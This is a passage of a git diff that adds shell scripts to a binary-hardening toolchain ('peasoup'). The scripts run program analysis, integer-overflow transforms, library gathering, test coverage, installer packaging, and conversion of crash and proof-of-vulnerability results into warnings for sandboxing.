+echo "CINDERELLA PASS3: with restrictions on malloc / turn on --dominator and --cluster"
+grep -i "positive malloc" cinderella.static.pass3 > $TMP
+$SECURITY_TRANSFORMS_HOME/bin/cgclibc.exe $ORIG_VARIANT_ID --positive-inferences $TMP --negative-inferences cinderella.inferences.negative --dominator --cluster > cinderella.static.pass4
+count_malloc=`grep "^static positive malloc" cinderella.static.pass4 | wc -l`
+count_free=`grep "^static positive free" cinderella.static.pass4 | wc -l`
+
+echo "CINDERELLA: PASS4: #mallocs: $count_malloc  #frees: $count_free"
+if [ "$count_malloc" = "1" ]; then
+	oldfn=`grep -i "positive malloc" cinderella.static.pass4 | cut -d' ' -f4` 
+	echo "CINDERELLA PASS4: rename detected malloc fn to cinderella::malloc"
+	$SECURITY_TRANSFORMS_HOME/bin/rename_function.exe $ORIG_VARIANT_ID $oldfn $cinderella_malloc
+	emit_function_attribute $oldfn $cinderella_malloc
+	exit 0
+fi
+
+echo "CINDERELLA: TODO: handle realloc() and calloc()"
+exit 0
+
+#
+# Needs to be ported over
+# Not functional
+#
+
+# if we pin down malloc and free correctly
+# let's look for realloc and/or calloc
+if [ "$count_malloc" = "1" ];then
+	if [ "$count_free" = "1" ];then
+		echo "CINDERELLA SUCCESS: true malloc() and free() found"
+
+		#
+		# Look for calloc/realloc
+		# @todo: We should exclude all functions already discovered here to speed this up
+		#
+		echo "CINDERELLA SUCCESS: look for realloc"
+		$PEASOUP_HOME/tools/do_prince.sh $cloneid `pwd`/$TESTABLE $PEASOUP_HOME/tools/cinderella.realloc.spec malloc.addresses $TRUE_MALLOC
+
+		# @todo: fix this, not working at all
+		echo "CINDERELLA SUCCESS: look for calloc"
+		$PEASOUP_HOME/tools/do_prince.sh $cloneid `pwd`/$TESTABLE $PEASOUP_HOME/tools/cinderella.calloc.spec malloc.addresses $TRUE_MALLOC
+
+		echo "CINDERELLA TODO: if successful, rename detected calloc and realloc fns to cinderella::calloc, cinderella::realloc"
+	fi
+fi
+
+exit 0
+
diff --git a/peasoup_examples/tools/do_concolic.sh b/peasoup_examples/tools/do_concolic.sh
new file mode 100755
index 0000000000000000000000000000000000000000..71afd42cdc7bde818582723eb90296496db642b2
--- /dev/null
+++ b/peasoup_examples/tools/do_concolic.sh
@@ -0,0 +1,45 @@
+#!/bin/sh 
+
+exe=$1
+shift
+extra_args=$*
+strata_exe=$exe.stratafied
+annot=$exe.ncexe.annot
+sym=$exe.sym
+
+GRACE_TIMEOUT_VALUE=1800
+
+
+whoami=`whoami`
+
+# 
+# simple error checking
+# 
+if [ $GRACE_HOME"X" = "X" ]; then echo Failed to set GRACE_HOME; exit 2; fi
+if [ ! -f $GRACE_HOME/concolic/scripts/objdump_to_grace ]; then  
+	echo "Failed to set GRACE_HOME properly (i.e. wrong path)"
+	exit 3 
+fi
+
+
+# get a starting pc
+line=`cat $annot|egrep " FUNC GLOBAL main"|sed "s/  */ /g"`
+start_ea=`echo $line |cut -d" " -f1`
+
+# get an ending pc
+line=`cat $annot|egrep " FUNC GLOBAL exit"|sed "s/  */ /g"`
+stop_ea=`echo $line |cut -d" " -f1`
+
+# assume grace_home env is set.
+$GRACE_HOME/concolic/scripts/objdump_to_grace $strata_exe
+if [ ! -f $sym ]; then
+	echo Failed to produce .sym file
+	exit 1;
+fi
+
+
+echo STRATA_GRACE=1 $GRACE_HOME/concolic/bin/pgrp-timeout $GRACE_TIMEOUT_VALUE $GRACE_HOME/concolic/bin/run $extra_args  -s $sym $strata_exe
+     STRATA_GRACE=1 $GRACE_HOME/concolic/bin/pgrp-timeout $GRACE_TIMEOUT_VALUE $GRACE_HOME/concolic/bin/run $extra_args  -s $sym $strata_exe
+
+
+
diff --git a/peasoup_examples/tools/do_gatherlibs.sh b/peasoup_examples/tools/do_gatherlibs.sh
new file mode 100755
index 0000000000000000000000000000000000000000..f8fcab377ffdf0db775f402242a3a1aa64002c2f
--- /dev/null
+++ b/peasoup_examples/tools/do_gatherlibs.sh
@@ -0,0 +1,142 @@
+#!/bin/bash   
+
+
+#
+# Default safe dir list.  Use options to override.
+# note:  no trailing slashes, as the comparison will fail.
+#
+safe_dir_list="	/lib /lib/tls/i686/cmov 			\
+		/usr/lib /lib/i686/cmov 			\
+		/lib/i386-linux-gnu 				\
+		/usr/local/lib					\ 
+		/usr/lib/i386-linux-gnu 			\ 
+		/lib/x86_64-linux-gnu				\
+		/usr/lib/x86_64-linux-gnu /lib32		\
+		/lib/i386-linux-gnu/i686/cmov			\
+		/usr/lib64					\
+		/lib64						\
+	"
+
+exe=$0
+
+these=""
+
+
+# parse arguments
+while [[ $# > 0 ]]
+do
+	key="$1"
+
+	case "$key" in
+		--main_exe_only)
+			echo "Protecting no shared libraries, doing main exe only."
+			# skip 
+			exit 0 # no need to run the program
+			;;
+		--all)
+			echo "Protecting ALL shared libraries."
+			# nothing is safe.
+			safe_dir_list=""
+			;;
+		--safe)
+			# default is to use safe list.
+			echo "Using default safe list:"
+			echo "$safe_dir_list"
+			
+			;;
+		--protectthese)
+			if [[ $# < 1 ]]; then
+				echo "--protectthese needs an option"
+				exit 1 # reported error
+			fi
+			shift
+
+			while  [[ "$#" > 0 ]] && [[ "$1" != "-*" ]]; 
+			do
+				these="$these $1"
+				echo "Protecting file: $1"
+				shift
+			done
+			;;
+		--safelist)
+			if [[ $# < 1 ]]; then
+				echo "--safelist needs an option"
+				exit 1 # reported error
+			fi
+			shift
+			safe_dir_list="$1"
+			echo "Using custom safe list:"
+			echo "$safe_dir_list"
+			;;
+		*|--usage)
+			echo "Usage: "
+			echo "  $exe { --main_exe_only | --all | --safe | --usage | --safelist 'path1 path2 ...' | --protectthese 'lib1.so lib2.so ...'}"
+			exit 1 # report error as we didnt parse all options, etc.
+			;;
+	esac
+	shift
+done
+
+
+
+# Add all library directories under /opt/stonesoup/dependencies if present
+if [ -d "/opt/stonesoup/dependencies" ]; then
+	stonesoup_dir_list=$( ( for d in `find /opt/stonesoup/dependencies/* -name 'lib*.so'`; do dirname $(realpath $d); done ) | sort | uniq | tr "\\n" " " )
+	safe_dir_list="$safe_dir_list $stonesoup_dir_list"
+fi
+
+is_safe()
+{
+	for j in $safe_dir_list; do
+		if [ $j = `dirname $1` ]; then
+			return 1
+		fi
+	done
+	return 0
+}
+
+
+
+mkdir shared_objects
+rm -f shared_libs
+touch shared_libs
+
+
+if [ "X$these" != "X" ]; then
+	for i in $these
+	do
+		if [ ! -f $i ]; then
+			echo "Missing library file $i" 
+			echo "Missing library file $i" > warning.txt
+			exit 255
+		fi
+		cp $i shared_objects
+		echo `basename $i` >> shared_libs
+	done
+	# after copying all libraries, we're done.  we were told explicitly what to protect
+	exit 0
+fi
+
+libs=`$PEASOUP_HOME/tools/getlibs.sh a.ncexe`
+
+if [ $? -ne 0 ]; then
+	echo Failed to gather all libraries.  
+	exit 1
+fi
+
+for i in  $libs
+do
+	is_safe $i 
+	if [ $? = 0 ]; then
+		echo Copying $i.
+		echo `basename $i` >> shared_libs
+		if [ ! -f $i ]; then
+			echo Missing library fille $i
+			exit 255
+		fi
+		cp $i shared_objects
+	else
+		echo "Skipping $i as it is detected as safe."
+	fi
+done
+
diff --git a/peasoup_examples/tools/do_idapro.sh b/peasoup_examples/tools/do_idapro.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5a1ed4cd47eb4fee1829e75f14aee89e078b6a38
--- /dev/null
+++ b/peasoup_examples/tools/do_idapro.sh
@@ -0,0 +1,74 @@
+#!/bin/bash 
+
+analyze_file()
+{
+	file=$1
+	target_name=$2
+	stars_options=$3
+
+	#
+	# This line is added to turn off screen output to display
+	#
+	rc=1
+	if [ ! -z "$IDA_PRO_SERVER_HOST" ]; then
+		echo "STARS (Remote on ${IDA_PRO_SERVER_HOST}) Analyzing $file target is: $target_name"
+		$PEASOUP_UMBRELLA_DIR/IdaProServer/SMP-analyze-remote.sh $file $stars_options
+		rc=$?
+
+		if [ ! $rc -eq 0 ]; then
+			echo "STARS (Remote) failure..."
+			exit 1
+		fi
+	fi
+
+	if [ ! $rc -eq 0 ]; then
+		echo "STARS (Local) Analyzing $file target is: $target_name"
+        	TVHEADLESS=1 $SMPSA_HOME/SMP-analyze.sh $file $stars_options
+	fi
+
+	lines=`cat $file.annot | wc -l`
+
+	#
+	# simple failure test for idapro
+	#
+	if [ $lines -lt 10 ]; then
+		echo Failed to produce a valid annotations file for $file.
+		exit 1 
+	fi
+	# better test
+	grep "ANALYSISCOMPLETED" $file.infoannot > /dev/null 2>&1
+	if [ $? != 0 ]; then
+		echo MEDS Failed to produce successful exit code for $file.
+		exit 2 
+	fi
+
+	funcs=$(grep -e "FUNC GLOBAL" -e "FUNC LOCAL" a.ncexe.annot |wc -l)
+	namedFuncs=$(grep -e "FUNC GLOBAL" -e "FUNC LOCAL" a.ncexe.annot |grep -v "sub_" |wc -l )
+	unnamedFuncs=$(grep -e "FUNC GLOBAL" -e "FUNC LOCAL" a.ncexe.annot |grep "sub_" |wc -l )
+	echo "#ATTRIBUTE functions=$funcs"
+	echo "#ATTRIBUTE named_functions=$namedFuncs"
+	echo "#ATTRIBUTE unnamed_functions=$unnamedFuncs"
+
+}
+
+if [[ ! -z $1 ]]; then
+	TARGET_NAME=$1	
+else
+	TARGET_NAME=a.ncexe
+fi
+
+shift
+
+analyze_file a.ncexe $TARGET_NAME $@
+
+if [[ -d shared_objects ]]; then
+	cd shared_objects
+
+	for i in `cat ../shared_libs`; do
+		analyze_file $i $i $@
+	done
+
+	cd -
+fi
+
+exit 0
diff --git a/peasoup_examples/tools/do_installer.sh b/peasoup_examples/tools/do_installer.sh
new file mode 100755
index 0000000000000000000000000000000000000000..afe06896c7fab32a1b1c7ee1924e46c683a87015
--- /dev/null
+++ b/peasoup_examples/tools/do_installer.sh
@@ -0,0 +1,79 @@
+#!/bin/bash -x
+#
+# Copyright (c) 2014 - Zephyr Software LLC
+#
+# This file may be used and modified for non-commercial purposes as long as
+# all copyright, permission, and nonwarranty notices are preserved.
+# Redistribution is prohibited without prior written consent from Zephyr
+# Software.
+#
+# Please contact the authors for restrictions applying to commercial use.
+#
+# THIS SOURCE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
+# WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+# MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+#
+# Author: Zephyr Software
+# e-mail: jwd@zephyr-software.com
+# URL   : http://www.zephyr-software.com/
+#
+#
+# This software was developed with SBIR funding and is subject to SBIR Data Rights, 
+# as detailed below.
+#
+# SBIR DATA RIGHTS
+#
+# Contract No. __N00014-14-C-0197___W31P4Q-14-C-0086________.
+# Contractor Name __Zephyr Software LLC_____________________.
+# Address __2040 Tremont Road, Charlottesville, VA 22911____.
+# Expiration of SBIR Data Rights Period __16-JUNE-2021______.
+#
+
+ANALYSIS_DIR=$1  # fully-qualified path for peasoup_executable_directory_XXX
+PROG=$2          # cat.protected
+
+USER_DOWNLOAD_DIR=/tmp/zest_protected/download/$$
+
+INSTALLER_SCRIPT=$PROG.install.sh
+
+# tarball format:
+#   cat.installer/cat.install.sh
+#   cat.installer/peasoup_executable_directory_XXX
+ANALYSIS_LOCAL_DIR=$(dirname $ANALYSIS_DIR)
+INSTALLER_DIR=$PROG.installer
+
+mkdir -p $USER_DOWNLOAD_DIR/$INSTALLER_DIR 2>/dev/null
+
+# scrub the peasoup directory before making a tarball
+$PEASOUP_HOME/tools/ps_scrub.sh $ANALYSIS_DIR
+
+# get rid of any previous tarballs
+cd $USER_DOWNLOAD_DIR/$INSTALLER_DIR
+rm -fr *.tar *.tgz *peasoup* *instal* *analysis*
+
+# make install script
+installer_name=${PROG}.installer.sh
+cp $PEASOUP_HOME/tools/ps_install.sh ${ANALYSIS_DIR}/${installer_name}
+chmod +x ${ANALYSIS_DIR}/${installer_name}
+
+# create self-extracting archive/installer
+makeself --notemp ${ANALYSIS_DIR} ${PROG}.installer "Self-extracting installer for ${PROG}" ./${installer_name}
+
+mv ${PROG}.installer ${ANALYSIS_DIR}
+
+# link to analysis dir
+#ln -s $ANALYSIS_DIR analysis_dir
+
+# create self installing archive
+
+# make the tarball
+#cd $USER_DOWNLOAD_DIR
+#tar -hcvf $PROG.tar $INSTALLER_DIR
+#gzip $PROG.tar
+#mv $PROG.tar.gz "${ANALYSIS_DIR}/${PROG}.zar"
+
+# cleanup
+#if [ ! -z $USER_DOWNLOAD_DIR ]; then
+#	rm -fr "$USER_DOWNLOAD_DIR"
+#fi
+
diff --git a/peasoup_examples/tools/do_integertransform.sh b/peasoup_examples/tools/do_integertransform.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ddfb8bd21b7c72d8db755f1caf8db1fd39b4aeff
--- /dev/null
+++ b/peasoup_examples/tools/do_integertransform.sh
@@ -0,0 +1,94 @@
+#!/bin/bash
+#
+# do_integertransform.sh <cloneId> <identifiedProgram> <concolicDir> <timeout> <saturation>
+#
+# pre: we are in the top-level directory created by ps_analyze.sh
+#
+
+# input
+CLONE_ID=$1
+IDENTIFIED_PROG=$2
+CONCOLIC_DIR=$3
+TIMEOUT=$4
+
+shift 4
+OPTIONS=$* 
+
+#echo "intxform: cloneID=$CLONE_ID identifiedProg=$IDENTIFIED_PROG concolicDir=$CONCOLIC_DIR timeout=$TIMEOUT warningsOnly=$WARNINGS_ONLY benignFpDetect=$BENIGN_FP_DETECT instrumentIdioms=$INSTRUMENT_IDIOMS options=$OPTIONS"
+echo "intxform: cloneID=$CLONE_ID identifiedProg=$IDENTIFIED_PROG concolicDir=$CONCOLIC_DIR timeout=$TIMEOUT options=$OPTIONS"
+
+# configuration variables
+LIBC_FILTER=$PEASOUP_HOME/tools/libc_functions.txt   # libc and other system library functions
+
+echo "intxform: timeout=$TIMEOUT seconds"
+
+TOP_DIR=`pwd`
+INTEGER_ASPRI=a.irdb.integer.aspri
+INTEGER_BSPRI=a.irdb.integer.bspri
+INTEGER_WARNINGS_FILE=${TOP_DIR}/integer.warnings.addresses
+
+touch $INTEGER_WARNINGS_FILE
+
+echo "intxform: transforming binary: cloneid=$CLONE_ID identifiedProg=$IDENTIFIED_PROG"
+
+echo "$options" | grep "--benign-fp-detect" &> /dev/null 
+if [ $? -eq 0 ]; then
+	echo "INTXFORM: Detection of benign false positives turned on for recognized program: $IDENTIFIED_PROG"
+	if [ "$IDENTIFIED_PROG" != "" ]; then
+		echo "intxform: identifiedProg=$IDENTIFIED_PROG"
+		$PEASOUP_HOME/tools/intxform_detect_benign_fp.sh $CLONE_ID $IDENTIFIED_PROG $INTEGER_WARNINGS_FILE
+	else
+		echo "intxform: unknown program identified -- do not automatically detect benign FP for now"
+	fi
+fi
+
+#
+# Comment out this block of code if you don't want to even attempt to detect false positives
+
+#. $PEASOUP_HOME/tools/grace_utils.sh || echo "INT: could not locate grace utility scripts"
+#get_grace_number_inputs_executed $CONCOLIC_DIR
+#if [ ! $? -eq 0 ]; then
+#	echo "INT: Grace executed at least 1 input"
+
+#	echo "INT: Clone program"
+#	$SECURITY_TRANSFORMS_HOME/libIRDB/test/clone.exe $CLONE_ID clone.id
+#	tempcloneid=`cat clone.id`
+#
+	# Pass 1
+	#    - Transform program and run against all Grace-generated inputs using a policy of continued execution when an integer detector triggers (we want to catch all detection messages)
+	#    - Keep track of all inputs that trigger a C1 diagnostic and put in a list
+#	echo "INT: Integer transform on cloned copy"
+#	$SECURITY_TRANSFORMS_HOME/tools/transforms/integertransformdriver.exe $tempcloneid $ANNOT_INFO $LIBC_FILTER
+
+    # generate aspri, and assemble it to bspri
+#	echo "INT: Generate temporary aspri --> bspri for integer transform"
+#	$SECURITY_TRANSFORMS_HOME/libIRDB/test/generate_spri.exe $tempcloneid $INTEGER_ASPRI 
+#	$SECURITY_TRANSFORMS_HOME/tools/spasm/spasm $INTEGER_ASPRI $INTEGER_BSPRI a.ncexe stratafier.o.exe
+
+#	if [ $? -eq 0 ]; then
+		# produce list of instruction addresses that trigger an integer detector
+#		echo "INT: false positives detection activated"
+#		timeout $TIMEOUT $PEASOUP_HOME/tools/integer_replay.sh $TOP_DIR/a.stratafied $CONCOLIC_DIR $TOP_DIR/$INTEGER_BSPRI $INTEGER_WARNINGS_FILE
+#		sort $INTEGER_WARNINGS_FILE | uniq > $INTEGER_WARNINGS_FILE.$$
+#		mv $INTEGER_WARNINGS_FILE.$$ $INTEGER_WARNINGS_FILE
+#
+#		cd $TOP_DIR   # restore working dir (just in case)
+#	else
+#		echo "Error generating integer transforms -- skip replay step to detect benign false positives"
+#	fi
+#fi
+
+# restore working dir (just in case)
+cd $TOP_DIR   
+
+# Transform program but for each instruction present in the list above, use a "CONTINUE" policy to emit a warning (instead of the default CONTROLLED EXIT policy)
+echo "intxform: Final integer transform"
+
+echo "$options" | grep "--warning" &> /dev/null 
+if [ $? -eq 0 ]; then
+	echo "intxform: warning only mode"
+	$PEASOUP_HOME/tools/update_env_var.sh STRATA_MAX_WARNINGS 0
+fi
+
+echo "intxform: cmd: timeout $TIMEOUT $SECURITY_TRANSFORMS_HOME/bin/integertransformdriver.exe $CLONE_ID $LIBC_FILTER $INTEGER_WARNINGS_FILE $OPTIONS"
+timeout $TIMEOUT $SECURITY_TRANSFORMS_HOME/bin/integertransformdriver.exe $CLONE_ID $LIBC_FILTER $INTEGER_WARNINGS_FILE $OPTIONS
diff --git a/peasoup_examples/tools/do_makepeasoupbinary.sh b/peasoup_examples/tools/do_makepeasoupbinary.sh
new file mode 100755
index 0000000000000000000000000000000000000000..e46c50a02ad7d89bcbb89265fc127bf11970e219
--- /dev/null
+++ b/peasoup_examples/tools/do_makepeasoupbinary.sh
@@ -0,0 +1,43 @@
+#!/bin/sh 
+
+
+name=$1
+
+current_dir=`pwd`
+peasoup_binary=$name.sh
+
+echo "#!/bin/sh" >> $peasoup_binary
+echo "" >> $peasoup_binary
+
+#  setsid made the login() program work, but makes other things more difficult.
+# echo "setsid $current_dir/ps_run.sh $current_dir \"\$0\" \"\$@\"" >> $peasoup_binary
+#
+echo "exec $current_dir/ps_run.sh $current_dir \"\$0\" \"\$@\"" >> $peasoup_binary
+
+#
+#echo "SAVE_EXIT_CODE=\$?" >> $peasoup_binary
+#echo "datapath=$current_dir" >> $peasoup_binary
+#
+#cat >> $peasoup_binary <<"EOF"
+#
+#if [ -f $datapath/diagnostics.out ]; then
+#	len=`/bin/cat $datapath/diagnostics.out | wc -l` 
+#	if [ $len -gt 0 ]; then 
+#
+#        	# make output more concise
+#	    	/bin/cat $datapath/diagnostics.out | uniq > tmp.$$
+#		mv tmp.$$ $datapath/diagnostics.out
+#	fi
+#fi
+#
+## final check, in case we couldn't catch the signal
+#if [ $SAVE_EXIT_CODE = 139 ]; then
+#	exit 200
+#fi
+#exit $SAVE_EXIT_CODE
+#EOF
+#
+
+chmod +x $peasoup_binary
+cp $PEASOUP_HOME/tools/ps_run.sh $current_dir
+
diff --git a/peasoup_examples/tools/do_makepeasoupbinary2.sh b/peasoup_examples/tools/do_makepeasoupbinary2.sh
new file mode 100755
index 0000000000000000000000000000000000000000..3095c1e7c608b9a1284198101615c91920d51257
--- /dev/null
+++ b/peasoup_examples/tools/do_makepeasoupbinary2.sh
@@ -0,0 +1,30 @@
+#!/bin/sh 
+
+
+name=$1
+
+current_dir=`pwd`
+peasoup_binary=$name.sh
+
+
+echo "
+int main(int argc, char* argv[0], char* envp[])
+{
+
+	char *newargv[argc+3];
+	const char* ps_run=\"$current_dir/ps_run.sh\";
+	newargv[0]=argv[0];
+	newargv[1]=\"$current_dir\";
+	unsigned int i=0;
+	for(i=0;i<argc;i++)
+		newargv[i+2]=argv[i];
+	newargv[argc+2]=0;
+
+	execve(ps_run,newargv,envp);
+
+	perror(\"Unable to start ps_run.sh\");
+	return -1;
+}" |  gcc -o $peasoup_binary -w -xc -
+
+cp $PEASOUP_HOME/tools/ps_run.sh $current_dir
+
diff --git a/peasoup_examples/tools/do_manual_cover.sh b/peasoup_examples/tools/do_manual_cover.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5dcec5f46463f845f9fd2fc7772be5f6d97abbec
--- /dev/null
+++ b/peasoup_examples/tools/do_manual_cover.sh
@@ -0,0 +1,55 @@
+#!/bin/sh
+
+#
+# Generate coverage information for each manual test
+# Aggregate all coverage into one final file
+#
+
+PEASOUP_DIR=`pwd`
+MANUAL_TEST_DIR=$PEASOUP_DIR/manual_tests
+COVER_SCRIPT=generate_cover_orig_cmd.sh
+AGGREGATE_COVERAGE=$PEASOUP_DIR/manual_coverage.txt  # final output file
+ORIG_BIN=$PEASOUP_DIR/a.ncexe
+MANUAL_COV_SCRIPT=$PEASOUP_HOME/tools/manual_coverage_wrapper.sh
+MANUAL_TEST_SCRIPT=$PEASOUP_DIR/manual_test_wrapper
+
+#first, check if a manual test coverage script is provided, if so, run it
+#for now this assumes the manual_test_wrapper has been specified.
+if [ -f $MANUAL_TEST_SCRIPT ]; then
+	echo "Gathering Coverage for Manual Test Script"
+	echo "$MANUAL_COV_SCRIPT $ORIG_BIN $MANUAL_TEST_SCRIPT $AGGREGATE_COVERAGE"
+
+	eval $MANUAL_COV_SCRIPT $ORIG_BIN $MANUAL_TEST_SCRIPT $AGGREGATE_COVERAGE
+	return $?
+fi
+
+#the remainder of this file is for Anh's old manual tests
+#which I will keep around for now, but ignore this code. 
+
+return 0
+
+ls $MANUAL_TEST_DIR/* >/dev/null 2>/dev/null
+if [ ! $? -eq 0 ]; then
+  echo "do_manual_cover.sh: no manual test specifications found -- exiting"
+  exit 1
+fi
+
+echo "Inside do_manual_cover.sh"
+
+touch $AGGREGATE_COVERAGE
+
+for testname in `ls $MANUAL_TEST_DIR`
+do
+  echo "do_manual_cover.sh: $MANUAL_TEST_DIR/$testname/spec/$COVER_SCRIPT"
+
+  cd $MANUAL_TEST_DIR/$testname/spec/
+  $MANUAL_TEST_DIR/$testname/spec/$COVER_SCRIPT
+  cd -
+
+  cat $MANUAL_TEST_DIR/$testname/spec/coverage/executed_addresses.txt >> $AGGREGATE_COVERAGE
+done
+
+sort $AGGREGATE_COVERAGE | uniq > tmp.$$
+mv tmp.$$ $AGGREGATE_COVERAGE
+
+exit 0
diff --git a/peasoup_examples/tools/do_manualtests.sh b/peasoup_examples/tools/do_manualtests.sh
new file mode 100755
index 0000000000000000000000000000000000000000..0d775c51d4e293c9a1dbfdd26a73784fde64093d
--- /dev/null
+++ b/peasoup_examples/tools/do_manualtests.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+
+#
+# We support two forms of manual tests:
+#
+# (1) User supplies tests with input/output specifications
+#       - these are automatically identified by looking for the command: manual_test_import
+#       - coverage information is automatically computed using pin
+# (2) User supplies black box regression test suite
+#       - coverage information is optionally supplied (format of coverage file: 1 address per line)
+#
+# Assumption: this script is called from within the subdirectory created as part of ps_analyze.sh
+#
+
+name=$1                     # original basename of binary
+newname=$2                  # new name of protected binary
+test_script=$3              # test script
+manual_coverage_file=$4     # coverage file for black box regression test suite
+
+PWD=`pwd`
+echo "Running specified test script at: $3 Current working dir is: $PWD coverage file: $4"
+echo "Current working dir is: $PWD command issued: $*"
+
+if [ ! -f $test_script ]; then
+  echo "Error -- could not find testing cript: $test_script"
+  exit 1
+else
+  mkdir manual_tests 2>/dev/null
+
+  grep manual_test_import $test_script
+  if [ $? -eq 0 ]; then
+    # execute the script to import manual test cases 
+    sh $test_script
+  else
+    # setup script for black box regression testing
+	# currently used with P1/Pn
+    cp $test_script manual_test_wrapper
+	echo $newname > new_command_name
+
+	# optionally use coverage information (if provided)
+	if [ -f $manual_coverage_file ]; then
+	  cp $manual_coverage_file manual_coverage.txt
+	fi
+  fi
+
+  ln -s $name.sh $newname
+fi
diff --git a/peasoup_examples/tools/do_prince.sh b/peasoup_examples/tools/do_prince.sh
new file mode 100755
index 0000000000000000000000000000000000000000..3dfe8d15a8124ed53a064eb1bbac095865ee5d68
--- /dev/null
+++ b/peasoup_examples/tools/do_prince.sh
@@ -0,0 +1,59 @@
+#!/bin/bash
+#
+#
+# cinderella.spec
+#   strlen
+#   strdup
+#   ...
+#
+#
+# $PEASOUP_HOME/tools/do_prince.sh `pwd`/$TESTABLE $PEASOUP_HOME/tools/cinderella.spec functions.all.addresses
+
+variant_id=$1
+binary=$2                       # binary to test
+libcfunctions_filepath=$3       # file with list of libc functions to look for
+allfunctions_filepath=$4        # file with function names from binary to test
+malloc_addresses=$5
+
+PRINCE_SCRIPT=$SECURITY_TRANSFORMS_HOME/tools/prince/prince.sh
+
+out=cinderella.inferences
+touch $out
+
+echo "file with list of libc functions: $libcfunctions_filepath"
+tmp=$libcfunctions_filepath.tmp.$$
+grep -v '#' $libcfunctions_filepath | tr -s '\r\n' ' ' | sed -e 's/ $/\n/' > $tmp
+#tr -s '\r\n' ' ' < $libcfunctions_filepath | sed -e 's/ $/\n/' > $tmp
+alllibcfunctions=`cat $tmp`
+rm $tmp
+
+if [ -z $malloc_addresses ]; then
+	for fn in $alllibcfunctions
+	do
+		cmd="$PRINCE_SCRIPT $variant_id $binary $fn $allfunctions_filepath"
+		echo "DO PRINCE: $cmd"
+		$cmd | grep "^prince" | grep $fn | grep positive >> $out.positive
+		$cmd | grep "^prince" | grep $fn | grep negative >> $out.negative
+	done
+	cp $out.positive $out
+else
+	# look for mallocs
+	tmp=$malloc_addresses.tmp.$$
+	tr -s '\r\n' ' ' < $malloc_addresses | sed -e 's/ $/\n/' > $tmp
+	allmallocs=`cat $tmp`
+	rm $tmp
+
+	for malloc in $allmallocs
+	do
+		echo "DO PRINCE: assume malloc at $malloc"
+		for fn in $alllibcfunctions
+		do
+			echo "DO PRINCE: assume malloc at $malloc -- dynamic test function $fn"
+			cmd="$PRINCE_SCRIPT $variant_id $binary $fn $allfunctions_filepath $malloc"
+			$cmd | grep "^prince" | grep $fn | grep positive >> $out.allocator.positive
+			$cmd | grep "^prince" | grep $fn | grep negative >> $out.allocator.negative
+		done
+	done
+	cp $out.allocator.positive $out.allocator
+fi
+
diff --git a/peasoup_examples/tools/do_protect_pov.sh b/peasoup_examples/tools/do_protect_pov.sh
new file mode 100755
index 0000000000000000000000000000000000000000..11cab3796865b160377f5ae30302b1b2b3ede934
--- /dev/null
+++ b/peasoup_examples/tools/do_protect_pov.sh
@@ -0,0 +1,105 @@
+#!/bin/bash
+
+#
+# do_protect_pov.sh <orig> <csid> <output_cso_file> [ ... step_options ]
+#
+# Produces output warning file (CSO Format), e.g.:
+# YAN01_00005,0x80485b0,,Tainted Dereference
+# YAN01_00005,0x8040000,,Tainted Dereference
+#
+# This file can then be used by the sandboxing step
+
+#
+# pre: we're in the peasoup executable subdirectory
+# in the step options:
+#
+# --pov_dir=<fully_qualified_path_to_pov_dir>
+# --crash_dir=<fully_qualified_path_to_pov_dir>
+# --pov_crash_summary=<fully_qualified_path_to_crash_summary>
+# --crash_summary=<fully_qualified_path_to_crash_summary>
+# 
+
+ORIG=$1
+CGC_CSID=$2
+CRASH_CSO_FILE=$3
+
+ulimit -a
+ulimit -c unlimited
+
+shift 3
+
+short_opts="p:c:d:x:"
+long_opts="--long pov_dir: --long pov_crash_summary: --long crash_dir: --long crash_summary:"
+
+TEMP=`getopt -o $short_opts $long_opts -n 'do_protect_pov.sh' -- "$@"`
+if [ ! $? -eq 0 ]; then
+    echo "Error parsing options for do_protect_pov.sh: $ORIG $CGC_CSID $CRASH_CSO_FILE $@"
+    exit 1
+fi
+
+eval set -- "$TEMP"
+
+while true ; do
+	case "$1" in
+		--pov_dir | p)
+			POV_DIR=$2
+			shift 2
+		;;
+		--crash_dir | d)
+			CRASH_DIR=$2
+			shift 2
+		;;
+		--pov_crash_summary | c)
+			POV_CRASH_SUMMARY=$2
+			shift 2
+		;;
+		--crash_summary | x)
+			CRASH_SUMMARY=$2
+			shift 2
+		;;
+		--) 	shift 
+			break 
+		;;
+	esac
+done
+
+if [ ! -f $POV_CRASH_SUMMARY ]; then
+	touch $POV_CRASH_SUMMARY
+fi
+
+TMP_DIR=tmp.dir.pov.crash.$$
+TMP_FILE=tmp.file.$$
+
+if [ -z $POV_DIR ]; then
+	mkdir $TMP_DIR
+	POV_DIR=`pwd`/$TMP_DIR
+fi
+
+if [ -z $CRASH_DIR ]; then
+	mkdir $TMP_DIR
+	CRASH_DIR=`pwd`/$TMP_DIR
+fi
+
+if [ -z $POV_CRASH_SUMMARY ]; then
+	touch $TMP_FILE.pov.crash
+	POV_CRASH_SUMMARY=`pwd`/$TMP_FILE.pov.crash
+fi
+
+if [ -z $CRASH_SUMMARY ]; then
+	touch $TMP_FILE.crash
+	CRASH_SUMMARY=`pwd`/$TMP_FILE.crash
+fi
+
+echo "POV_DIR: $POV_DIR"
+echo "POV_CRASH_SUMMARY: $POV_CRASH_SUMMARY"
+echo "CRASH_DIR: $CRASH_DIR"
+
+echo "cmd: $SECURITY_TRANSFORMS_HOME/tools/cgc_protect/pov_to_cso.sh $ORIG $CGC_CSID $POV_DIR $CRASH_CSO_FILE $POV_CRASH_SUMMARY $CRASH_DIR $CRASH_SUMMARY"
+
+$SECURITY_TRANSFORMS_HOME/tools/cgc_protect/pov_to_cso.sh $ORIG $CGC_CSID $POV_DIR $CRASH_CSO_FILE $POV_CRASH_SUMMARY $CRASH_DIR $CRASH_SUMMARY $CRASH_SUMMARY.eip
+
+rmdir $TMP_DIR &>/dev/null
+rm $TMP_FILE &>/dev/null
+
+exit 0
+
diff --git a/peasoup_examples/tools/do_rss.sh b/peasoup_examples/tools/do_rss.sh
new file mode 100755
index 0000000000000000000000000000000000000000..d83bc9391b81677404e6142e50a2b28ce851dbfa
--- /dev/null
+++ b/peasoup_examples/tools/do_rss.sh
@@ -0,0 +1,15 @@
+#!/bin/bash  -x
+
+
